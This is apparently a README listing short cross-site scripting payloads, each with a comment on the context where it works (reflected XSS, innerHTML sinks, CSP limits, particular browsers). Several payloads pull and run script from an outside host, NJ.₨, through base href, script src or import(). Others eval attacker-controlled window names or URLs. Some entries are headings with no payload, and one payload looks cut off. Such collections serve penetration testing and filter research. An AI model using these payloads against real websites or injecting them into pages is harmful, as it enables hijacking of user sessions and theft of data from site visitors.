Tiny-XSS-Payloads

A collection of short XSS payloads that can be used in different contexts.

The DEMO available here: https://tinyxss.terjanq.me

Current Payloads

<!-- Requires a relative script inserted to the DOM after the sink, 
  e.g. <base/href=//NJ.₨> ... <script src=/aaa></script> -->
<base/href=//NJ.₨>

<!-- Only works as reflected XSS -->
<svg/onload=eval(name)>

<!-- If you control the URL -->
<svg/onload=eval(`'`+URL)>

<!-- If you control the name, but unsafe-eval not enabled -->
<svg/onload=location=name>

<!-- In chrome, also works inside innerHTML, even on elements not yet inserted into DOM -->
<svg><svg/onload=eval(name)>

<!-- If you control window's name, this payload will work inside innerHTML, even on elements not yet inserted into the DOM -->
<audio/src/onerror=eval(name)>

<!-- If you control the URL, this payload will work inside innerHTML, even on elements not yet inserted into the DOM -->

<!-- Just a casual script -->
<script/src=//NJ.₨></script>

<!-- If you control the name of the window -->

<!-- If you control the URL -->

<!-- If number of iframes on the page is constant -->

<!-- for Firefox only -->
<script/href=//NJ.₨ />">

<!-- If number of iframes on the page is random -->

<!-- If unsafe-inline is disabled in CSP and external scripts allowed -->
</script>">

<!-- If inline styles are allowed -->
<style/onload=eval(name)>

<!-- If inline styles are allowed and the URL can be controlled -->
<style/onload=eval(`'`+URL)>

<!-- If inline styles are blocked -->
<style/onerror=eval(name)>

<!-- Uses external script as import, doesn't work in innerHTML -->
<!-- The PoC only works on https and Chrome, because NJ.₨ checks for Sec-Fetch-Dest header -->
<svg/onload=import(/\\NJ.₨/)>

<!-- Uses external script as import,  triggers if inline styles are allowed.
<!-- The PoC only works on https and Chrome, because NJ.₨ checks for Sec-Fetch-Dest header -->
<style/onload=import(/\\NJ.₨/)>

<!-- Uses external script as import -->
<!-- The PoC only works on https and Chrome, because NJ.₨ checks for Sec-Fetch-Dest header -->

Deprecated:

<!-- If you control the URL, Safari-only -->

<!-- If inline styles are allowed, Safari only -->
<style/onload=write(URL)>